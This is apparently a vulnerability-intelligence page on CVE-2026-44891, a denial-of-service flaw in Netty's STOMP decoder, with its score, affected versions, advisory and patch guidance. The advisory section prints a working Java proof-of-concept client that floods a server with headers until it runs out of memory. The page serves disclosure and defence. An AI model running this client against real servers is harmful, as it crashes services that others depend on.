What is the CVSS score of CVE-2026-44891?

CVE-2026-44891 has a CVSS 3.1 base score of 7.5 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Which versions of Netty are affected by CVE-2026-44891?

Netty's STOMP messaging module (versions 4.1.x through 4.1.135.Final and 4.2.0-4.2.15.Final) contains a memory exhaustion vulnerability that allows remote attackers to crash applications and disrupt…. A patch is available.

Is there a public PoC exploit available for CVE-2026-44891?

Yes, a public proof-of-concept exploit is available for CVE-2026-44891. Prioritise patching immediately.

How to fix or mitigate CVE-2026-44891?

Within 24 hours, identify all applications and services using netty-codec-stomp module and document which versions are deployed; determine external exposure and connectivity patterns. Within 7 days, implement rate limiting on STOMP frame connections, deploy validation to reject frames with excessive header counts, configure connection timeouts, and enable monitoring for heap memory spikes or OutOfMemoryError events. Within 30 days, establish upgrade planning with the Netty project timeline-subscribe to Netty security advisories and coordinate testing for patched versions (4.1.136.Final and 4.2.16.Final or later when released).

Netty CVE-2026-44891

HIGH

Uncontrolled Resource Consumption (CWE-400)

2026-07-14 https://github.com/netty/netty

GHSA-vhch-2wf3-m8rp

Java Denial Of Service

7.5

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

7.5 HIGH

AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vuln.today AI

7.5 HIGH

Unauthenticated remote attacker sends a single crafted STOMP frame with low complexity and no user interaction, causing memory-exhaustion DoS with availability-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jul 14, 2026 - 21:07 vuln.today

Analysis Generated

Jul 14, 2026 - 21:07 vuln.today

CVE Published

Jul 14, 2026 - 20:16 github-advisory

HIGH 7.5

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

3 maven packages depend on io.netty:netty-codec-stomp (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionGitHub Advisory

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

java

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

java

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Articles & Coverage 1

News 5 New Java Vulnerabilities - 1 Critical, 4 High, 1 With POC Jul 15, 2026

AnalysisAI

Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Connect to exposed STOMP endpoint

Delivery

Send frame with thousands of short headers

Exploit

Decoder accumulates unbounded headers in heap

Execution

JVM throws OutOfMemoryError

Impact

Service crash / denial of service

Access

Connect to exposed STOMP endpoint

Delivery

Send frame with thousands of short headers

Exploit

Decoder accumulates unbounded headers in heap

Execution

JVM throws OutOfMemoryError

Impact

Service crash / denial of service

Vulnerability AssessmentAI

Exploitation	Exploitation requires that the target application actually deploys io.netty.handler.codec.stomp.StompSubframeDecoder on a network-reachable STOMP endpoint - that specific decoder in the pipeline is the concrete prerequisite. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent with the description: an unauthenticated (PR:N) remote (AV:N) attacker with no user interaction (UI:N) can reliably cause an availability-only impact (C:N/I:N/A:H) with low complexity (AC:L). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker opens a TCP connection to a service exposing a StompSubframeDecoder-based STOMP endpoint and sends a single STOMP frame stuffed with an enormous number of tiny headers (e.g. repeating 'a:1\n'). …
Remediation	Vendor-released patch: upgrade to 4.2.16.Final on the 4.2 branch, or to 4.1.136.Final on the 4.1 branch, per the Netty advisory GHSA-vhch-2wf3-m8rp (https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all applications and services using netty-codec-stomp module and document which versions are deployed; determine external exposure and connectivity patterns. …

Threat intelligence, references, and detailed analysis are available after sign-in.